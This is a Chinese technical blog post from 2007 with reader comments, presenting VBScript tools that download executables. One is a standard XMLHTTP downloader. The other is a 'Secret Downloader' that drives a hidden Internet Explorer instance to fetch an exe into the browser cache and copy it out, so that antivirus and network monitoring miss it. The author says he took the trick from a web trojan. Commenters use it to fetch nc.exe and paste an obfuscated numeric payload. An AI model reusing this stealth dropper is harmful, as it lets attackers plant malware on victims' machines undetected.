lake2的专栏

千秋邈矣独留我,百战归来再读书

原创 使用vbs下载文件收藏

新一篇: 2007——在磕磕碰碰中成长 | 旧一篇: 用手机控制服务器

    说到使用vbs下载文件是不是想到了XMLHTTP呢,呵呵,以下是比较经典的代码:

iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2

    当你把这段代码保存为vbs的时候,杀毒软件可能就开始报警了;而且使用中cscript.exe会访问网络,不太隐蔽。
    那么,有没有更好的方法呢?答案很明显:-)
    我们可以利用一个叫InternetExplorer.Application的对象(其实就是个IE啦)下载文件。但是貌似这个组件不能直接下载保存文件,只好曲线救国了。因为IE是把文件下载到本地缓存的,我们可以让IE组件先把文件下载到缓存,然后再从缓存找到并copy至我们需要保存的位置。其实这个思路是从一个网马看到的:)
    为了让IE把我们的exe文件下载到本地缓存,我们需要有一个网页把exe文件包含进去。比如:<script src="520.exe"></script>。这样当IE访问该页面的时候就会把520.exe当成js脚本保存到本地缓存了。保存的命名一般是520[1].exe,IE临时文件的位置可以从注册表键值 HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory 中读取。
    好了,不废话,看代码:

'=============================
'  get.vbs
'   by lake2
'=============================

If WScript.Arguments.Count <> 3 Then
 WScript.Echo ""
 WScript.Echo "======= The Secret Downloader 0.1 ================"
 WScript.Echo "  by lake2 "
 WScript.Echo "Usage:   CScript /nologo" & WScript.ScriptName & " [URL] [RemoteName] [LocalFile]"
 WScript.Echo "Example: CScript /nologo" & WScript.ScriptName & " http://www.0x54.org/lake.htm 520.exe c:\520.exe"
 WScript.Echo "=================================================="
 WScript.Quit
End If

URL = WScript.Arguments(0)
exeName = WScript.Arguments(1)
If InStr(exeName, ".") > 0 Then
 tmp = Left(exeName,InStrRev(exeName, ".")-1)
 tmp2 = Right(exeName,Len(exeName) - InStrRev(exeName, ".") + 1)
 FindFileName = tmp & "[1]" & tmp2
End If
LocalName = WScript.Arguments(2)

set ie=wscript.createobject("internetexplorer.application")
ie.visible = 0
ie.navigate URL

WScript.Echo "[+]Create and Exec IE to your HTTP Server ..."
WScript.Sleep(5000)
ie.quit
WScript.Echo "[+]Get the file ..."
set objshell= WScript.Createobject("WScript.Shell")
strValue = objshell.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory")
ShowAllFile(strValue)
WScript.Echo "[-]download Fail :("

Sub ShowAllFile(Path)
 Set FSO = CreateObject("Scripting.FileSystemObject")
 Set f = FSO.GetFolder(Path)
 Set fc = f.SubFolders
 For Each f1 in fc
  If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then
   FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, LocalName
   WScript.Echo "[+]Download Success !"
   WScript.Quit
  End If
  ShowAllFile path&"\"&f1.name
     Next
 Set FSO = Nothing
End Sub

    使用方法:
    1、在你的web目录放上一个htm文件,内容包含要下载的文件。如:<script src=520.exe></script>
    2、CScript get.vbs 第一步的网页URL 网页包含的文件名 本地保存路径

    例子:CScript get.vbs http://www.0x54.org/lake2/get.htm whoami.exe c:\who.exe

    PS:脚本使用了5秒钟作为下载文件的时间,可以改成等待下载完毕再继续的,不过基本上够用,懒得改了-_- 

发表于 @ 2007年05月08日 15:04:00|评论(loading...)|编辑

新一篇: 2007——在磕磕碰碰中成长 | 旧一篇: 用手机控制服务器

评论

#freejanker 发表于2007-05-10 13:39:38  IP: 121.15.123.*
d
#anight 发表于2007-06-09 20:48:02  IP: 222.24.20.*
lake2的脚本工夫简直是太好了!名不虚传!
#wxhui163 发表于2007-06-26 09:13:27  IP: 121.13.83.*
貌似我这提示
C:\Documents and Settings\Administrator\桌面>cscript qq.vbs http://localhost:81/
a.htm nc.exe c:\nc.exe
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。

[+]Create and Exec IE to your HTTP Server ...
C:\Documents and Settings\Administrator\桌面\qq.vbs(31, 1) (null): 未指定的错误
#kumho 发表于2008-05-06 18:25:57  IP: 59.42.161.*
str="370,1160,960,1130,300,1000,1030,1060,990,300,1000,1090,1120,300,980,1090,1170,1080,1060,1090,950,980,1030,1080,1010,300,1170,1030,1140,1020,300,630,810,650,710,710,300,990,1080,970,1090,980,1030,1080,1010,300,1140,1090,300,950,1160,1090,1030,980,300,950,1080,1140,1030,430,1160,1030,1120,1150,1130,370,1130,300,1030,1080,1140,990,1120,1120,1150,1100,1140,1030,1090,1080,110,80,370,970,1090,980,990,300,960,1190,300,1130,1090,1070,990,960,1090,980,1190,110,80,370,1140,990,1130,1140,1030,1080,1010,300,990,1080,1160,1030,1120,1090,1080,1070,990,1080,1140,560,300,850,1030,1080,980,1090,1170,1130,300,480,460,460,490,300,410,300,730,950,1130,1100,990,1120,1130,1050,1190,300,520,440,460,110,80,770,1080,300,670,1120,1120,1090,1120,300,800,990,1130,1150,1070,990,300,760,990,1180,1140,110,80,660,1030,1070,300,1030,800,990,1070,1090,"
str=str&"1140,990,420,1030,740,1090,970,950,1060,110,80,1030,800,990,1070,1090,1140,990,300,590,300,740,650,950,1130,990,380,850,810,970,1120,1030,1100,1140,440,630,1120,1010,1150,1070,990,1080,1140,1130,380,460,390,390,110,80,1030,740,1090,970,950,1060,300,590,300,740,650,950,1130,990,380,850,810,970,1120,1030,1100,1140,440,630,1120,1010,1150,1070,990,1080,1140,1130,380,470,390,390,110,80,810,990,1140,300,780,1130,1090,1070,990,960,1090,980,1190,300,590,300,650,1120,990,950,1140,990,770,960,1040,990,970,1140,380,320,750,1030,970,1120,1090,1130,1090,1000,1140,440,860,750,740,700,820,820,780,320,390,110,80,780,1130,1090,1070,990,960,1090,980,1190,
#kumho 发表于2008-05-06 18:27:02  IP: 59.42.161.*
晕,太长了代码
参考这里:
http://bbs.verybat.cn/viewthread.php?tid=7701
发表评论  


当前用户设置只有注册用户才能发表评论。如果你没有登录,请点击登录
Csdn Blog version 3.1a
Copyright © lake2